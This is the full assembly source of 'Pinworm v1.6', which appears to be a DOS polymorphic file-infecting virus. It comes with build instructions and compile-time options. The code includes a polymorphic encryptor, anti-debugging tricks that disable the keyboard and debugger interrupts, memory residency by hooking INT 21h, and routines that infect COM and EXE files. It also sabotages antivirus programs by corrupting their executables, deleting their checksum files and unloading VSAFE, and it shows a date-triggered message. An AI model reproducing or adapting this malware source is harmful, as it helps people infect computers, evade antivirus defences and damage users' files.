ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ------ +; PiļWéRM v1.6 coded by ūirogen °°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°° +; ž Variant A °°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°° +; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ------ +; +; See enclosed NFO for more info.. +; +; version 1.5: +; ž Conditional compilation equates added for creation of new variants +; ž Improved polymorphic engine +; ž Fixed possible bug in polymorphic engine after 50 or so generations +; version 1.6: +; ž Re-Enabled Constant 1 Byte Garbage Generation +; ž Changed activation routine +; +; compile like so: +; TASM /m pw16 +; Tlink pw16 +; --convert to COM-- +; + +cseg segment + assume cs: cseg, ds: cseg, es: cseg, ss: cseg + +; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ +; °°°°°°° Compile Options °°°°°°°°°°°°°°°°°°°°°°° +; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ +SECOND_CRYPT equ 0 ; use second cryptor? +INCLUDE_INT3 equ 1 ; include INT 3 in garbage code? + ; (slows the loop down alot) +KILL_AV equ 1 ; Kill AVs as executed? +KILL_CHKLIST equ 1 ; Kill MSAV/CPAV checksum filez? +TWO_BYTE equ 1 ; Use two byte garbage code? +KILL_DATE equ 13 ; day of the month to play with user +MAX_EXE equ 4 ; max exe file size -high byte + +; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ +; °°°°°°° Polymorphic Engine Equates °°°°°°°°°°°° +; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ +INC_BUF_SIZE equ 38 ; INC buf +ENC_OP_BSIZE equ 38 ; ENC buf +PTR_BUF_SIZE equ 38 ; PTR buf +CNT_BUF_SIZE equ 38 ; CNT&OP +DJ_BUF_SIZE equ 38 ; DEC&JMP +GARBAGE_OPS equ 0Fh ; # of garbage ops in each group + +; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ +; °°°°°°° Misc. °°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°° +; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ +enc_size equ offset first_crypt-offset encrypt +enc2_size equ offset code_start-offset first_crypt +signal equ 0FA01h ; AX=signal/INT 21h/installation chk +vsafe_word equ 5945h ; magic word for VSAFE/VWATCH API +real_start equ offset dj_buf+3 ; starting location of encryted code +cr equ 0ah + +org 0h + +start: +; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ +; °°°°°°° Polymorphic Encryptor/Decryptor Buffer +; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ +; + encrypt: + ptr_buf db PTR_BUF_SIZE dup (90h) + encryptor: + cnt_buf db CNT_BUF_SIZE dup(90h) + enc_loop: + inc_buf db INC_BUF_SIZE dup(90h) + enc_op_buf db ENC_OP_BSIZE dup(90h) + dj_buf db DJ_BUF_SIZE dup (90h) + ret_byte db 090h ; C3h or a NOP equiv. +first_crypt: ; end of first cryptor + + +; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ +; °°°°°°° Second Decryptor - Anti-Debugging °°°°° +; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ +; ž Uses reverse direction word XOR encryption +; ž Uses the following techniques: +; š JMP into middle of operand +; š Replace word after CALL to kill stepping over call +; š Kills INT 1 vector +; š Disables Keyboard via Port 21h +; š Reverse direction encryption prevents stepping past loop +; š Uses SP as a crucial data register in some locations - if +; the debugger uses the program's stack, then it may very well +; phuck thingz up nicely. +; š Uses Soft-Ice INT 3 API to lock it up if in memory. +; + sti ; fix CLI in garbage code + db 0BDh ; MOV BP,XXXX +bp_calc dw 0100h + push ds es ; save segment registers for EXE +IF SECOND_CRYPT + push ds +dbg1: jmp mov_si ; 1 + db 0BEh ; MOV SI,XXXX +mov_si: db 0BEh ; MOV SI,XXXX +rel2_off dw offset heap+1000h ; org copy: ptr way out there + call shit +add_bp: int 19h ; fuck 'em if they skipped + jmp in_op ; 1 + db 0BAh ; MOV DX,XXXX +in_op: in al,21h + push ax + or al,02 + jmp kill_keyb ; 1 + db 0C6h +kill_keyb: out 21h,al ; keyboard=off + call shit6 +past_shit: jmp dbl_crypt +shit7: + xor ax,ax ;null es + mov es,ax + mov bx,word ptr es: [06] ;get INT 1 + ret +shit: + mov word ptr cs: add_bp[bp],0F503h ;ADD SI,BP + mov word ptr cs: dec_si[bp],05C17h ;reset our shit sister + ret +shit2: + mov word ptr cs: dec_si[bp],4E4Eh + mov word ptr cs: add_bp[bp],19CDh ;reset our shit brother + call shit3 + jnc code_start ;did they skip shit3? + xor dx,cx + ret + db 0EAh ;JMP FAR X:X +shit4: + db 0BAh ;MOV DX,XXXX +sec_enc dw 0 + mov di,4A4Dh ;prepare for Soft-ice + ret +shit3: + mov ax,911h ;soft-ice - execute command + call shit4 + stc + dec word ptr es: [06] ;2-kill INT 1 vector + push si + mov si,4647h ;soft-ice + int 3 ;call SI execute - DS:DX-garbage + pop si + ret + +shit6: mov byte ptr cs: past_shit[bp],0EBh + out 21h,al ; try turning keyboard off again + ret + +dbl_crypt: ; main portion of cryptor + mov cx,(offset heap-offset ret2_byte)/2+1 + call shit7 +dbl_loop: + jmp $+3 ; 1 + db 034h ; XOR ... + call shit3 ; nested is the set DX + xchg sp,dx ; xchg SP and DX + jmp xor_op ; 1 + db 0EAh ; JMP FAR X:X +xor_op: xor word ptr cs: [si],sp ; the real XOR baby.. + xchg sp,dx ; restore SP + call shit2 +dec_si: pop ss ; fuck 'em if they skipped shit2 + pop sp + int 3 + xchg sp,bx ; SP=word of old int 1 vec + dec cx + mov es: [06],sp ; restore int 1 vector + xchg sp,bx ; restore SP + jnz dbl_loop +ret2_byte db 90h,90h + + +ENDIF +; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ +; °°°°°°° Start of Viral Code °°°°°°°°°°°°°°°°°°° +; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ + +code_start: +IF SECOND_CRYPT + pop ax es ; Get port reg bits (ES=PSP) + out 21h,al ; restore keyboard +ENDIF + + mov cs: activate[bp],0 ; reset activation toggle + mov cs: mem_word[bp],0 ; reset mem. encryption + + inc si ; SI!=0 + mov dx,vsafe_word ; remove VSAFE/VWATCH from memory + mov ax,0FA01h ; & check for residency of virus too + int 21h + or si,si ; if SI=0 then it's us + jz no_install + + mov ah,2ah ; get date + int 21h + cmp dl,KILL_DATE ; is it time to activate? + jnz not_time + mov cs: activate[bp],1 + +not_time: + + mov ax,es ; PSP segment - popped from DS + dec ax ; mcb below PSP m0n + mov ds,ax ; DS=MCB seg + cmp byte ptr ds: [0],'Z' ; Is this the last MCB in chain? + jnz no_install + sub word ptr ds: [3],(((vend-start+1023)*2)/1024)*64 ; alloc MCB + sub word ptr ds: [12h],(((vend-start+1023)*2)/1024)*64 ; alloc PSP + mov es,word ptr ds: [12h] ; get high mem seg + push cs + pop ds + mov si,bp + mov cx,(offset vend - offset start)/2+1 + xor di,di + rep movsw ; copy code to new seg + xor ax,ax + mov ds,ax ; null ds + push ds + lds ax,ds: [21h*4] ; get 21h vector + mov es: word ptr old21+2,ds ; save S:O + mov es: word ptr old21,ax + pop ds + mov ds: [21h*4+2],es ; new int 21h seg + mov ds: [21h*4],offset new21 ; new offset + + call get_timer + cmp dl,5 + jle no_install + sub byte ptr ds: [413h],((offset vend-offset start+1023)*2)/1024 ;-totalmem + +no_install: + + xor si,si ; null regs.. + xor di,di ; some progs actually care.. + xor ax,ax + xor bx,bx + xor dx,dx + + pop es ds ; restore ES DS + cmp cs: exe_phile[bp],1 + jz exe_return + + lea si,org_bytes[bp] ; com return + mov di,0100h ; -restore first 4 bytes + movsw + movsw + + mov ax,100h ; jump back to 100h + push ax +_ret: ret + +exe_return: + mov cx,ds ; calc. real CS + add cx,10h + add word ptr cs: [exe_jump+2+bp],cx + int 3 ; fix prefetch + cli + mov sp,cs: oldsp[bp] ; restore old SP.. + sti + db 0eah +exe_jump dd 0 +oldsp dw 0 +exe_phile db 0 + +; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ +; °°°°°°° Infection Routine °°°°°°°°°°°°°°°°°°°°° +; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ +; DS:DX=fname +; Assumes EXE if first byte is 'M' or 'Z' +; Changes/Restores attribute and time/date +; +; If philename ends in 'AV', 'AN', or 'OT' it's not infected and has it's +; minimum req. memory in the header (0Ah) changed to FFFFh, thus making it +; unusable. +; +infect_file: + + mov di,dx ; move filename ptr into an index reg + push ds ; search for end of filename(NULL) + pop es + xor ax,ax + mov cx,128 + repnz scasb + + cmp word ptr [di-3],'EX' ;.eXE? + jz is_exec +chk_com: cmp word ptr [di-3],'MO' ;.cOM? + jnz _ret +is_exec: +IF KILL_AV + mov cs: isav,0 + cmp word ptr [di-7],'VA' ;*AV.*? CPAV,MSAV,TBAV,TNTAV + jz anti_action + cmp word ptr [di-7],'TO' ;*OT.*? F-PROT + jz anti_action + cmp word ptr [di-7],'NA' ;*AN.*? + jnz name_ok + cmp word ptr [di-9],'CS' ;*SCAN.*? + jnz name_ok +anti_action: + inc cs: isav ; set mark for anti-virus kill +name_ok: +ENDIF + push ds ; save fname ptr segment + mov es,ax ; NULL ES (ax already 0) + lds ax,es: [24h*4] ; get INT 24h vector + mov old_24_off,ax ; save it + mov old_24_seg,ds + mov es: [24h*4+2],cs ; install our handler + mov es: [24h*4],offset new_24 + pop ds ; restore fname ptr segment + push es + push cs ; push ES for restoring INT24h later + pop es ; ES=CS + + mov ax,4300h ; get phile attribute + int 21h + mov ax,4301h ; null attribs 4301h + push ax cx ds dx ; save AX-call/CX-attrib/DX:DS + xor cx,cx ; zero all + int 21h + + mov bx,signal + mov ax,3d02h ; open the file + int 21h + jc close ; if error..quit infection + + xchg bx,ax ; get handle + + push cs ; DS=CS + pop ds + +IF KILL_CHKLIST + call kill_chklst ; kill CHKLIST.MS & .CPS filez +ENDIF + mov ax,5700h ; get file time/date + int 21h + push cx dx ; save 'em for later + + mov ah,3fh ; Read first bytes of file + mov cx,18h ; EXE header or just first bytes of COM + lea dx,org_bytes ; buffer used for both + int 21h + + call offset_end ; set ptr to end- DXAX=file_size + + cmp byte ptr org_bytes,'M' ; EXE? + jz do_exe + cmp byte ptr org_bytes,'Z' ; EXE? + jz do_exe + cmp byte ptr org_bytes+3,0 ; CoM infected? + jz d_time + + dec exe_phile + + push ax ; save file size + add ax,100h ; PSP in com + mov rel_off,ax ; save it for decryptor + mov bp_calc,ax + + call encrypt_code ; copy and encrypt code + + lea dx,vend ; start of newly created code + mov cx,offset heap+0FFh ; virus length+xtra + add cl,size_disp ; add random ^in case cl exceeds FF + mov ah,40h + int 21h ; append virus to infected file + + call offset_zero ; position ptr to beginning of file + + pop ax ; restore COM file size + sub ax,3 ; calculate jmp offset + mov word ptr new_jmp+1,ax ; save it.. + + lea dx,new_jmp ; write the new jmp (E9XXXX,0) + mov cx,4 ; total of 4 bytes + mov ah,40h + int 21h + +d_time: + + pop dx cx ; pop date/time + mov ax,5701h ; restore the mother fuckers + int 21h + +close: + + mov ah,3eh ; close phile + int 21h + + pop dx ds cx ax ; restore attrib + int 21h + +dont_do: + pop es ; ES=0 + lds ax,dword ptr old_24_off ; restore shitty DOS error handler + mov es: [24h*4],ax + mov es: [24h*4+2],ds + + ret ; return back to INT 21h handler + +do_exe: + cmp dx,MAX_EXE + jg d_time + + mov exe_phile,1 + +IF KILL_AV + cmp isav,1 ; anti-virus software? + jnz not_av + mov word ptr exe_header[0ah],0FFFFh ; change min. mem to FFFFh + jmp write_hdr +not_av: +ENDIF + cmp word ptr exe_header[12h],0 ; checksum 0? + jnz d_time + + mov cx,mem_word ; get random word + inc cx ; make sure !0 + mov word ptr exe_header[12h],cx ; set checksum to!0 + mov cx,word ptr exe_header[10h] ; get old SP + mov oldsp,cx ; save it.. + mov word ptr exe_header[10h],0 ; write new SP of 0 + + les cx,dword ptr exe_header[14h] ; Save old entry point + mov word ptr exe_jump, cx ; off + mov word ptr exe_jump[2], es ; seg + + push cs ; ES=CS + pop es + + push dx ax ; save file size DX:AX + cmp byte ptr exe_header[18h],52h ; PKLITE'd? (v1.13+) + jz pklited + cmp byte ptr exe_header[18h],40h ; 40+ = new format EXE + jge d_time + pklited: + + mov bp, word ptr exe_header+8h ; calc. new entry point + mov cl,4 ; *10h + shl bp,cl ; ^by shifting one byte + sub ax,bp ; get actual file size-header + sbb dx,0 + mov cx,10h ; divide me baby + div cx + + mov word ptr exe_header+14h,dx ; save new entry point + mov word ptr exe_header+16h,ax + mov rel_off,dx ; save it for encryptor + mov bp_calc,dx + + call encrypt_code ; encrypt & copy the code + + mov cx,offset heap+0FFh ; virus size+xtra + add cl,size_disp ; add random ^in case cl exceeds FFh + lea dx,vend ; new copy in heap + mov ah,40h ; write the damn thing + int 21h + + pop ax dx ; AX:DX file size + + mov cx,(offset heap-offset start)+0FFh ; if xceeds ff below + add cl,size_disp + adc ax,cx + + mov cl,9 ; calc new alloc (512) + push ax + shr ax,cl + ror dx,cl + stc + adc dx,ax + pop ax + and ah,1 + + mov word ptr exe_header+4h,dx ; save new mem. alloc info + mov word ptr exe_header+2h,ax + +write_hdr: + call offset_zero ; position ptr to beginning + + mov cx,18h ; write fiXed header + lea dx,exe_header + mov ah,40h + int 21h + + jmp d_time ; restore shit/return + + +; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ +; °°°°°°° Kills CHKLIST.CPS and CHKLIST.MS °°°°°° +; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ +; + +kill_chklst: + mov di,2 ; counter for loop + lea dx,chkl1 ; first fname to kill +kill_loop: + mov ax,4301h ; reset attribs + xor cx,cx + int 21h + mov ah,41h ; delete phile + int 21h + lea dx,chkl2 ; second fname to kill + dec di + jnz kill_loop + + ret + +; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ +; °°°°°°° Set File PTR °°°°°°°°°°°°°°°°°°°°°°°°°° +; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ + +offset_zero: ; self explanitory + xor al,al + jmp set_fp +offset_end: + mov al,02h +set_fp: + mov ah,42h + xor cx,cx + xor dx,dx + int 21h + ret + +; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ +; °°°°°°° Morph, copy, & crypt °°°°°°°°°°°°°°°°°° + +; 0 bytes constant +; 0 functionally equivilant operands in constant locations +; +; Random byte defined as: +; 76543210 +; ³³³³³³³ĄÄ 0=JNZ,1=JNS +; ³³³³³³ĄÄÄ 0=ADD&SUB, 1=XOR +; ³³³³³ĄÄÄÄ 0=BYTE CRYPTION, 1=WORD CRYPTION +; ³³³³ĄÄÄÄÄ 1=INCREMENT POINTER TO 'MOV SI|DI,XXXX' OPERAND +; ³³³ĄÄÄÄÄÄ 1=USE TWO BYTE GARBAGE, 0=USE ONE BYTE GARBAGE ONLY +; ³³ĄÄÄÄÄÄÄ 1=USE CONSTANT STREAM OF ONE BYTE GARBAGE, 0=NORMAL RANDOM +; ³ĄÄÄÄÄÄÄÄ not used +; ĄÄÄÄÄÄÄÄÄ not used +; +; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ +encrypt_code: + + push bx ; save the handle + + call get_timer +IF SECOND_CRYPT + mov byte ptr sec_enc,cl ; use CL\DL for 2nd encryptor + mov byte ptr sec_enc+1,dh +ENDIF + + mov ax,0FFFFh + call random + mov enc_num,dl ; store ms count for encryption + mov mem_word,dx ; mem cryption too + mov size_disp,dl ; and size displacment + +;ÄÄÄÄ Fill buffer space with one-byte garbage ops + + lea di,encrypt + mov bp,enc_size+1 + test enc_num,00100000b ; use constant 1 byte operand? + jnz do_constant + mov bl,1 + jmp fb1 +do_constant: + mov bl,0 +fb1: + call fill_buffer + +;ÄÄÄÄ Randomly select between jmp type : JNZ or JNS + + test enc_num,00000001b + jnz jmp_2 + mov byte ptr jnz_op,75h ; use jnz + jmp jmp_set + jmp_2: + mov byte ptr jnz_op,79h ; jns + jmp_set: + +;ÄÄÄÄ Select encryption type: XOR or ADD&SUB + + mov enc_type,04 ; default to encrypting ADD + mov dec_type,2Ch ; and decrypting SUB + test enc_num,00000010b + jz use_add_sub + mov dec_type,34h ; decrypting XOR + mov enc_type,34h ; encrypting XOR + use_add_sub: + +;ÄÄÄ Change register used for the counter + + cmp byte ptr count_op,0BBh ; skip SP/BP/DI/SI + jnz get_reg + mov byte ptr count_op,0B7h ; AX-1 + mov byte ptr dec_op,47h ; AX-1 + get_reg: + inc byte ptr count_op ; increment to next register in line + inc byte ptr dec_op + +;ÄÄÄÄ Select position of INC DI|SI + + mov ax,INC_BUF_SIZE-1 + call random ; select a position in the buffer.. + xchg di,dx + add di,offset inc_buf + mov inc_op_ptr,di ; save ptrs + mov inc_op_ptr2,di + +;ÄÄÄÄ Toggle between SI and DI + + cmp byte ptr ptr_set,0BEh ; using SI? + jz chg_di ; if so, then switch to DI + mov byte ptr [di],46h ; write INC SI + dec byte ptr ptr_set ; decrement to SI + jmp done_chg_ptr + chg_di: + mov byte ptr [di],47h ; write INC DI + inc byte ptr ptr_set ; increment to DI + inc byte ptr dec_type ; increment decryptor + inc byte ptr enc_type ; increment encryptor + done_chg_ptr: + +;ÄÄÄÄ Select word or byte encryption + + mov w_b,80h ; default to byte cryption + test enc_num,00000100b ; use word? + jz use_byte + mov w_b,81h ; now using word en/decryptor + mov ax,di + sub ax,offset inc_buf+1 + call random + mov ch,byte ptr [di] ; get INC DI|INC SI operand + sub di,dx + mov byte ptr [di],ch ; make a copy of it for word cryption + mov inc_op_ptr2,di + use_byte: + +;ÄÄÄÄ Increment counter value + + cmp byte ptr crypt_bytes,0Fh ; byte count quite large? + jnz inc_cnt ; if not..increment away + mov crypt_bytes,offset vend ; else..reset byte count + inc_cnt: + inc crypt_bytes ; increment byte count + + +;ÄÄÄÄ Set DEC XX /JNS|JNZ operands + + mov ax,DJ_BUF_SIZE-3 + call random ; select a pos. + add dx,offset dj_buf + mov di,dx + sub dx,offset enc_loop-3 ; find loop size + neg dx ; negate for negative jump + mov byte ptr jnz_op+1,dl ; write jmp offset + dec dl + mov byte ptr loop_ofs,dl ; write loop offset + mov dec_op_ptr,di + lea si,dec_op + movsb ; write operand(s) +write_loop: + movsw + inc di + add rel_off,di ; chg offset for decryption + push di ; save offset after jmp + + +;ÄÄÄÄ Set MOV DI,XXXX|MOV SI,XXXX + + mov ax,PTR_BUF_SIZE-3 + call random ; select pos. + xchg dx,di + add di,offset ptr_buf ; build ptr + mov ptr_op_ptr,di ; save ptr + lea si,ptr_set + movsw ; write op + movsb + +;ÄÄÄÄ Set MOV AX|BX|DX|CX,XXXX + + mov ax,CNT_BUF_SIZE-3 + call random ; select pos. + xchg dx,di + add di,offset cnt_buf ; build ptr + mov count_op_ptr,di ; save ptr + lea si,count_op + movsw ; write op + movsb + +;ÄÄÄÄ Set XOR|ADD&SUB WORD|BYTE CS:|DS:[SI|DI],XX|XXXX + + mov ax,ENC_OP_BSIZE-5 + call random ; select pos. + xchg dx,di + add di,offset enc_op_buf ; build ptr + mov enc_op_ptr,di ; save ptr + lea si,seg_op + movsw ; write op + movsw + +IF TWO_BYTE +;ÄÄÄÄ Throw in some 2 byte garbage ops + test enc_num,00010000b ; use two-byte garbage? + jz no_2byte_grb + lea di,encrypt + mov bp,ptr_op_ptr + push bp + call fill_between + pop di + add di,3 ; 3bytez large + mov bp,count_op_ptr + push bp + call fill_between ; fill between start and count reg + pop di + add di,3 ; 3bytez large + mov bp,inc_op_ptr2 + push bp + call fill_between ; fill between count reg and inc ptr + pop di + inc di ; 1byte large + mov bp,inc_op_ptr + push bp + call fill_between ; if another inc ptr op exist, then + pop di ; .. fill in between both of them + inc di ; 1byte large + mov bp,enc_op_ptr + push bp + call fill_between ; fill between inc ptr and encryption + pop di ; ..op + add di,5 ; 5bytez large + mov bp,dec_op_ptr + call fill_between ; fill between encryption op and loop +no_2byte_grb: +ENDIF + +;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ +;°°°°°°°°[END OF POLYMORPHIC ENGINE]°°°°°°°°°°°°° +;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ + +;ÄÄÄÄ FiX second cryptor offset + +IF SECOND_CRYPT + mov rel2_off,offset heap ;first gen has mispl. off +ENDIF + +;ÄÄÄÄ Copy virus code along with decryptor to heap + + mov cx, (offset heap-offset start)/2+1 + xor si,si + lea di,vend ; ..to heap for encryption + rep movsw ; make another copy of virus + +IF SECOND_CRYPT +;ÄÄÄÄ Call second encryptor first + + mov si,offset vend ; offset of enc. start.. + add si,offset heap ; ..at end of code + mov ret2_byte,0C3h + xor bp,bp + call dbl_crypt + mov ret2_byte,90h +ENDIF + +;ÄÄÄÄ Set ptr to heap for encryption + + pop si ; pop offset after jmp + add si,offset vend ; offset we'z bez encrypting + mov di,si ; we might be using DI too + +;ÄÄÄÄ Encrypt the mother fucker + + mov ret_byte,0C3h ; put RET + mov al,enc_type + mov bx,enc_op_ptr + mov byte ptr [bx+2],al ; set encryption type + call encryptor ; encrypt the bitch + + pop bx ; restore phile handle + ret ; return + +; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ +; °°°°°°° Garbage Code Filler °°°°°°°°°°°°°°°°°° +; DS:DI = buffer address +; BP = buffer size +; BL = 0 - Use 1 byte constant garbage op +; = 1 - Use 1 byte random garbage ops +; = 2 - Use 2 byte random garbage ops +; +; Decently random..relies on previously encrypted data and MS from clock +; to form pointer to the next operand to use.. +; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ +; +fill_buffer: + push ax + mov ax,GARBAGE_OPS + call random + pop ax + mov si,dx ; build index ptr +IF TWO_BYTE + cmp bl,2 ; using 1 byte, or 2 byte ops? + jz word_grb +ENDIF + cmp bl,0 ; using constant stream of 1 byte op? + jnz not_constant + + mov si,cons_byte +not_constant: + mov al,byte ptr [nops_1+si] ; get 1byte operand from table + mov byte ptr [di],al ; write operand +IF TWO_BYTE + jmp did_1byte +word_grb: + cmp di,offset enc_loop-1 ; don't put 2byte op at loop begin + jnz di_ok +di_not_ok: + mov al,byte ptr [nops_1+si] ; get 1byte op + mov ah,al ; duplicate + jz couldnt_do_2 +di_ok: + cmp di,offset encryptor-1 ; don't put 2byte op at call begin + jz di_not_ok + add si,si ; double pointer for word offsets + mov ax,word ptr [nops_2+si] ; get garbage op +couldnt_do_2: + mov word ptr [di],ax ; write op + inc di ; increment ptr + dec bp ; decrement counter + jz _fret +did_1byte: +ENDIF + inc di ; increment buffer ptr + dec bp ; decrement counter + jnz fill_buffer ; loop + cmp cons_byte,GARBAGE_OPS + jl in_range + mov cons_byte,-1 +in_range: + inc cons_byte +_fret: ret + +IF TWO_BYTE +; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ +; °°°°°°° Fill Bytes Between Two Ops /w Garb.°°°° +; DS:DI=First Op +; DS:BP=Last Op +; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ +fill_between: + sub bp,di ; get difference of offsets + cmp bp,4 ; if <4 then not 'nuff room + jl not_room + sub bp,2 ; make sure we don't overwrite last op + mov bl,2 ; use 2byte garbage ops + call fill_buffer +not_room: + ret +ENDIF +; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ +; °°°°°°° Get sec/ms from clock °°°°°°°°°°°°°°°°° +; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ +get_timer: + push ax + mov ah,2ch ; get clock + int 21h + mov ran_seed,dx + pop ax + ret + +; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ +; °°°°°°° Get Random Number °°°°°°°°°°°°°°°°°°°°° +; AX=max number +; ret: DX=random # [will not return 0] +; ROUTINE PARTIALLY FROM: TP6.0 BOOK +; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ +random: + push ax + mov ax,ran_seed + mov cx,31413 + mul cx + add ax,13849 + mov ran_seed,ax + pop cx + mul cx + cmp dx,0 + jnz ran_ok + inc dx +ran_ok: + ret + +;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ +; Associated bullshit +; +chkl1 db 'CHKLIST.MS',0 ; MSAV shitty checksum +chkl2 db 'CHKLIST.CPS',0 ; CPAV shitty checksum +pin_dir db 255,'PIļWérM.ūg!',0 ; DIR created +root db '..',0 ; for changing to org. dir +act_file db 'VIROGEN.MSG',0 +act_data db ' Thank you for allowing Pinworm v1.6 to reside within your computer! You will',cr + db 'be rewarded for your kindness by the gods which reign over the cyber world.',cr + db 'You may thank the holy god of heart and kindness, ūirogen, for bringing this',cr + db 'life into the cold and dead realms of your computer.',cr,cr + db '-----BEGIN PGP PUBLIC KEY BLOCK-----',cr + db 'Version: 2.6',cr,cr + db 'mQCNAixt9g4AAAEEANN3KDJ5NjmN1bm5cQGs352wJsQH6FBtOgnHEpZczJBXBwU1',cr + db 'HiMIL0a4ST16h/flarD2Jsekk5KMz0XF0/+ZAy98Ng3AglsWT+9mXnYxlnUwMaIc',cr + db '0QeCU8ECQzQSRzSznWidEKsemYLC179eOEfOqNeYR5NndCo3mVS0HwB6IcbpAAUR',cr + db 'tAdWaXJvZ2Vu',cr + db '=Hvsw',cr + db '-----END PGP PUBLIC KEY BLOCK-----',0 +activate db 0 +isav db 0 +new_jmp db 0E9h,0,0,0 ; jmp XXXX ,0 (id) + +ran_seed dw 0 +; 